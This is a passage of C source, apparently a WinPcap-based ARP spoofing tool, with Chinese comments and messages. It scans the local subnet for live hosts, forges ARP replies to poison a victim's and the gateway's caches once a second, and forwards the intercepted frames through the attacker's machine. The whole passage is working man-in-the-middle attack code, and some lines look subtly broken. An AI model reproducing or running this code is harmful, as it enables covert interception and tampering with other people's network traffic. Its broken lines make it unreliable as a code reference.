printf("PacketSend succeed\n\n");
}
else
{
printf("PacketSendPacket in getmine Error: %d\n",GetLastError());
return 0;
}
while((k=pcap_next_ex(slecadopt,&pkt_header,(const u_char**)&pkt_data))>=0)
{
if(*(unsigned short *)(pkt_data+12)==htons(ETH_ARP)&&*(unsigned short*)(pkt_data+20)==htons(ARP_REPLY)&&*(unsigned long*)(pkt_data+38)==inet_addr("127.0.0.2"))
{
for(i=0;i<6;i++)
{
myip->mac=*(unsigned char*)(pkt_data+22+i);
}
break;
}
}
if(i==6)
{
return 1;
}
else
{
return 0;
}
}
unsigned int _stdcall sendpackettogetallacttiveIpwithMac(void *x)
{
ULONG tip,subnetsta,subnetend;
unsigned char sendbuf[42];
int k;
ETHDR eth;
ARPHDR arp;
subnetsta=htonl(myip->ip&mynetmask); //计算内网ip起点
subnetend=htonl(htonl(subnetsta)|(~mynetmask)); //计算内网ip结束
for(k=0;k<6;k++)
{
eth.eh_dst[k]=0xff;
eth.eh_src[k]=myip->mac[k];
arp.arp_sha[k]=myip->mac[k];
arp.arp_tha[k]=0x00;
}
eth.eh_type=htons(ETH_ARP);
arp.arp_hdr=htons(ARP_HARDWARE);
arp.arp_pro=htons(ETH_IP);
arp.arp_hln=6;
arp.arp_pln=4;
arp.arp_opt=htons(ARP_REQUEST);
arp.arp_spa=myip->ip;
memset(sendbuf,0,sizeof(sendbuf));
memcpy(sendbuf,e,sizeof(eth));
for(tip=subnetsta;tip<=subnetend;tip++)
{
arp.arp_tpa=htonl(tip);
memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));
if(pcap_sendpacket(slecadopt,sendbuf,42)!=0)
{
printf("Getallactive ip PacketSendPacket in getmine Error: %d\n",GetLastError());
return 0;
}
}
return 1;
}
unsigned int _stdcall recvpackettogetallacttiveIpwithMac(void *x)
{
struct pcap_pkthdr * pkt_header;
u_char * pkt_data;
PacttiveIpwithMac p,q;
int i;
while((pcap_next_ex(slecadopt,&pkt_header,(const u_char**)&pkt_data))>0)
{
if(*(unsigned short *)(pkt_data+12)==htons(ETH_ARP)&&*(unsigned short*)(pkt_data+20)==htons(ARP_REPLY)&&*(unsigned long*)(pkt_data+38)==myip->ip)
{
p=new acttiveIpwithMac;
p->next=NULL;
p->ip=*(unsigned long*)(pkt_data+28);
for(i=0;i<6;i++)
{
p->mac=*(unsigned char*)(pkt_data+22+i);
}
if(Pipmachead==NULL)
{
Pipmachead=p;
q=p;
}
else
{
q->next=p;
q=p;
}
}
if(Ssendover==1)
{
return 1;
}
}
return 1;
}
unsigned int _stdcall transmitandsniffer(void *x)
{
struct changemac
{
unsigned char mac[12];
};
unsigned char bcast[6];
memset(bcast,0xff,sizeof(bcast));
unsigned char sendbuf[1600];
struct pcap_pkthdr * pkt_header;
u_char * pkt_data;
changemac *cmac,*togatewaymac;
PacttiveIpwithMac z;
int i,j;
cmac=new changemac;
togatewaymac=new changemac;
memcpy(togatewaymac->mac,gateip->mac,6);
memcpy(togatewaymac->mac+6,myip->mac,6);
//printf("1have run to here!!!\n");
while((j=pcap_next_ex(slecadopt,&pkt_header,(const u_char**)&pkt_data))>=0)
{
if(j==0)
{
//printf("2have run to here!!!\n");
continue;
}
if(*(unsigned short *)(pkt_data+12)==htons(ETH_IP)&&(!(memcmp(pkt_data+6,myip->mac,6)==0))&&*(unsigned long *)(pkt_data+30)!=myip->ip&&(!(memcmp(pkt_data,bcast,6)==0)))//(*(unsigned char*)(pkt_data+6)==myip->mac[0]&&*(unsigned char*)(pkt_data+7)==myip->mac[1]&&*(unsigned char*)(pkt_data+8)==myip->mac[2]&&*(unsigned char*)(pkt_data+9)==myip->mac[3]&&*(unsigned char*)(pkt_data+10)==myip->mac[4]&&*(unsigned char*)(pkt_data+11)==myip->mac[5])))
{
//if()//(!(*(unsigned char*)(pkt_data+0)==0xff&&*(unsigned char*)(pkt_data+1)==0xff&&*(unsigned char*)(pkt_data+2)==0xff&&*(unsigned char*)(pkt_data+3)==0xff&&*(unsigned char*)(pkt_data+4)==0xff&&*(unsigned char*)(pkt_data+5)==0xff))&&)
//{ //for(i=0;i<6;i++)
// printf("%02x:",*(unsigned char*)(pkt_data+i));
//printf("33have run to here!!!\n");
memcpy(sendbuf,pkt_data,pkt_header->caplen);
memcpy(sendbuf,togatewaymac,12);
for(z=Pipmachead;z!=NULL;z=z->next)
{//printf("444have run to here!!!\n");
if(*(unsigned long *)(pkt_data+30)==z->ip)
{
i=0;
//printf("jjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjip=%s",iptos(z->ip));
//for(;i<6;i++)
//cmac->mac=z->mac;
memcpy(cmac->mac,z->mac,6);
//for(;i<12;i++)
//cmac->mac=myip->mac[i-6];
memcpy(cmac->mac+6,myip->mac,6);
//memset(sendbuf,0,sizeof(sendbuf));
memcpy(sendbuf,cmac,12);
/*if(*///!=0)
break;
//{
// printf("tansmit Error: %d\n",GetLastError());
// return 0;
// }
}
}
pcap_sendpacket(slecadopt,sendbuf,pkt_header->caplen);
//}//printf("getip:%s len:%d\n",iptos(*(unsigned long *)(pkt_data+30)),pkt_header->caplen);
}
}
return 1;
}
unsigned int _stdcall sproof(void *x)
{
int j,i=*(int*)x;
unsigned char sendbuftogate[42],sendbuftosp[42],rsendbuftogate[42],rsendbuftosp[42];
PacttiveIpwithMac spip;
ETHDR eth;
ARPHDR arp;
int k;
for(spip=Pipmachead,j=0;j<i-1;spip=spip->next,j++);
printf("%-3d ip=%-20s mac=%02x:%02x:%02x:%02x:%02x:%02x\n",i,iptos(spip->ip),spip->mac[0],spip->mac[1],spip->mac[2],spip->mac[3],spip->mac[4],spip->mac[5]);
for(k=0;k<6;k++)
{
eth.eh_dst[k]=gateip->mac[k];
eth.eh_src[k]=myip->mac[k];
arp.arp_sha[k]=myip->mac[k];
arp.arp_tha[k]=gateip->mac[k];
}
eth.eh_type=htons(ETH_ARP);
arp.arp_hdr=htons(ARP_HARDWARE);
arp.arp_pro=htons(ETH_IP);
arp.arp_hln=6;
arp.arp_pln=4;
arp.arp_opt=htons(ARP_REPLY);
arp.arp_spa=spip->ip;
arp.arp_tpa=gateip->ip;
memset(sendbuftogate,0,sizeof(sendbuftogate));
memcpy(sendbuftogate,e,sizeof(eth));
memcpy(sendbuftogate+sizeof(eth),&arp,sizeof(arp));
for(k=0;k<6;k++)
{
eth.eh_dst[k]=spip->mac[k];
eth.eh_src[k]=myip->mac[k];
arp.arp_sha[k]=myip->mac[k];
arp.arp_tha[k]=spip->mac[k];
}
arp.arp_spa=gateip->ip;
arp.arp_tpa=spip->ip;
memset(sendbuftosp,0,sizeof(sendbuftosp));
memcpy(sendbuftosp,e,sizeof(eth));
memcpy(sendbuftosp+sizeof(eth),&arp,sizeof(arp));
for(k=0;k<6;k++)
{
eth.eh_dst[k]=spip->mac[k];
eth.eh_src[k]=gateip->mac[k];
arp.arp_sha[k]=gateip->mac[k];
arp.arp_tha[k]=spip->mac[k];
}
arp.arp_spa=gateip->ip;
arp.arp_tpa=spip->ip;
memset(rsendbuftosp,0,sizeof(rsendbuftosp));
memcpy(rsendbuftosp,e,sizeof(eth));
memcpy(rsendbuftosp+sizeof(eth),&arp,sizeof(arp));
for(k=0;k<6;k++)
{
eth.eh_dst[k]=gateip->mac[k];
eth.eh_src[k]=spip->mac[k];
arp.arp_sha[k]=spip->mac[k];
arp.arp_tha[k]=gateip->mac[k];
}
arp.arp_spa=spip->ip;
arp.arp_tpa=gateip->ip;
memset(rsendbuftogate,0,sizeof(rsendbuftogate));
memcpy(rsendbuftogate,e,sizeof(eth));
memcpy(rsendbuftogate+sizeof(eth),&arp,sizeof(arp));
printf("已经进入%d号机的欺骗!!!\n",i);
while(TRUE)
{
if(pcap_sendpacket(slecadopt,sendbuftogate,42)!=0)
{
printf("sendbuftogate Error: %d\n",GetLastError());
return 0;
}
if(pcap_sendpacket(slecadopt,sendbuftosp,42)!=0)
{
printf("sendbuftosp Error: %d\n",GetLastError());
return 0;
}
Sleep(980);
if(cheat[i-1]==0) //重置被欺骗的目标机!!
{
for(j=10;j>0;j--)
{
if(pcap_sendpacket(slecadopt,rsendbuftogate,42)!=0)
{
printf("sendbuftogate Error: %d\n",GetLastError());
return 0;
}
if(pcap_sendpacket(slecadopt,rsendbuftosp,42)!=0)
{
printf("sendbuftosp Error: %d\n",GetLastError());
return 0;
}
}
printf("已经退出对%d号机的欺骗!!!\n",i);
return 1;
}
}
}
